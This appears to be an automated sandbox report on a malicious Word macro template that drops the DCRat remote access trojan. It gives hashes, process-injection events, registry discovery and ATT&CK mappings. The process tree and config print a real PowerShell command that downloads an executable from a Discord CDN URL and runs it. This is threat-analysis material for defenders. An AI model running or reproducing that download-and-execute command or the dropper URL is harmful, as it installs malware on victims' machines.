dcrat | b5033ef20a56db2c7751506e413b6ff82b861de6f83c156f9249105eaa1db596

General

Target

b5033ef20a56db2c7751506e413b6ff82b861de6f83c156f9249105eaa1db596.dotm
Size

15KB
MD5

f241091ae1293c0a2ae516a374af2062
SHA1

6390737f980d3e96146c7d323e135ddfd41ab260
SHA256

b5033ef20a56db2c7751506e413b6ff82b861de6f83c156f9249105eaa1db596
SHA512

464c8eb31a8afe0767d065d4438b85876747e238c019b2b2ffbdd9e75b57e03ecf0d7fbf72916d34dc9e5aa7a38cd1936f2ad89934a420f911612bfb45adfd00
SSDEEP

384:tmtegnDrrVsC78JecdkaP6akwLWdxd8KYB3HF:qlnDrrJ8J/ytakw6Lm1F

Score

10^/10

dcrat infostealer rat

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://cdn.discordapp.com/attachments/997157313536344088/1067399880701657098/9hmhx13dh.exe

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3488	4640	powershell.exe	WINWORD.EXE

DCRat payload 1 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
behavioral2/memory/2912-145-0x0000000000400000-0x00000000005E2000-memory.dmp	dcrat

Suspicious use of SetThreadContext 1 IoCs

Processes:

9hmhx13dh.exe

description pid process target process

PID 4192 set thread context of 2912 4192 9hmhx13dh.exe InstallUtil.exe

description	pid	process	target process
PID 4192 set thread context of 2912	4192	9hmhx13dh.exe	InstallUtil.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4640 WINWORD.EXE
4640 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeInstallUtil.exe

pid process

3488 powershell.exe
3488 powershell.exe
2912 InstallUtil.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeInstallUtil.exe

description pid process

Token: SeDebugPrivilege 3488 powershell.exe
Token: SeDebugPrivilege 2912 InstallUtil.exe

pid	process
3488	powershell.exe
3488	powershell.exe
2912	InstallUtil.exe

description	pid	process
Token: SeDebugPrivilege	3488	powershell.exe
Token: SeDebugPrivilege	2912	InstallUtil.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXE

pid	process
4640	WINWORD.EXE
4640	WINWORD.EXE
4640	WINWORD.EXE
4640	WINWORD.EXE
4640	WINWORD.EXE
4640	WINWORD.EXE
4640	WINWORD.EXE
4640	WINWORD.EXE
4640	WINWORD.EXE
4640	WINWORD.EXE
4640	WINWORD.EXE

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

WINWORD.EXEpowershell.exe9hmhx13dh.exe

description	pid	process	target process
PID 4640 wrote to memory of 3488	4640	WINWORD.EXE	powershell.exe
PID 4640 wrote to memory of 3488	4640	WINWORD.EXE	powershell.exe
PID 3488 wrote to memory of 4192	3488	powershell.exe	9hmhx13dh.exe
PID 3488 wrote to memory of 4192	3488	powershell.exe	9hmhx13dh.exe
PID 3488 wrote to memory of 4192	3488	powershell.exe	9hmhx13dh.exe
PID 4192 wrote to memory of 2912	4192	9hmhx13dh.exe	InstallUtil.exe
PID 4192 wrote to memory of 2912	4192	9hmhx13dh.exe	InstallUtil.exe
PID 4192 wrote to memory of 2912	4192	9hmhx13dh.exe	InstallUtil.exe
PID 4192 wrote to memory of 2912	4192	9hmhx13dh.exe	InstallUtil.exe
PID 4192 wrote to memory of 2912	4192	9hmhx13dh.exe	InstallUtil.exe
PID 4192 wrote to memory of 2912	4192	9hmhx13dh.exe	InstallUtil.exe
PID 4192 wrote to memory of 2912	4192	9hmhx13dh.exe	InstallUtil.exe
PID 4192 wrote to memory of 2912	4192	9hmhx13dh.exe	InstallUtil.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b5033ef20a56db2c7751506e413b6ff82b861de6f83c156f9249105eaa1db596.dotm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Start-BitsTransfer -Sou https://cdn.discordapp.com/attachments/997157313536344088/1067399880701657098/9hmhx13dh.exe -Dest C:\Users\Public\9hmhx13dh.exe;C:\Users\Public\9hmhx13dh.exe
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3488

C:\Users\Public\9hmhx13dh.exe
"C:\Users\Public\9hmhx13dh.exe"
3⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4192

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2912

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2912-150-0x0000000007D90000-0x00000000082BC000-memory.dmp

Filesize
5.2MB

Download
memory/2912-145-0x0000000000400000-0x00000000005E2000-memory.dmp

Filesize
1.9MB

Download
memory/2912-151-0x0000000007960000-0x00000000079C6000-memory.dmp

Filesize
408KB

Download
memory/2912-149-0x0000000005EA0000-0x0000000005F32000-memory.dmp

Filesize
584KB

Download
memory/2912-148-0x0000000005C10000-0x0000000005C60000-memory.dmp

Filesize
320KB

Download
memory/2912-147-0x0000000006060000-0x0000000006604000-memory.dmp

Filesize
5.6MB

Download
memory/2912-144-0x0000000000000000-mapping.dmp

Download
memory/3488-142-0x00007FF899AC0000-0x00007FF89A581000-memory.dmp

Filesize
10.8MB

Download
memory/3488-139-0x0000000000000000-mapping.dmp

Download
memory/3488-140-0x0000029A386D0000-0x0000029A386F2000-memory.dmp

Filesize
136KB

Download
memory/3488-141-0x0000029A38770000-0x0000029A38784000-memory.dmp

Filesize
80KB

Download
memory/3488-146-0x00007FF899AC0000-0x00007FF89A581000-memory.dmp

Filesize
10.8MB

Download
memory/4192-143-0x0000000000000000-mapping.dmp

Download
memory/4640-138-0x00007FF8838B0000-0x00007FF8838C0000-memory.dmp

Filesize
64KB

Download
memory/4640-154-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

Filesize
64KB

Download
memory/4640-156-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

Filesize
64KB

Download
memory/4640-133-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

Filesize
64KB

Download
memory/4640-137-0x00007FF8838B0000-0x00007FF8838C0000-memory.dmp

Filesize
64KB

Download
memory/4640-132-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

Filesize
64KB

Download
memory/4640-136-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

Filesize
64KB

Download
memory/4640-153-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

Filesize
64KB

Download
memory/4640-135-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

Filesize
64KB

Download
memory/4640-155-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

Filesize
64KB

Download
memory/4640-134-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads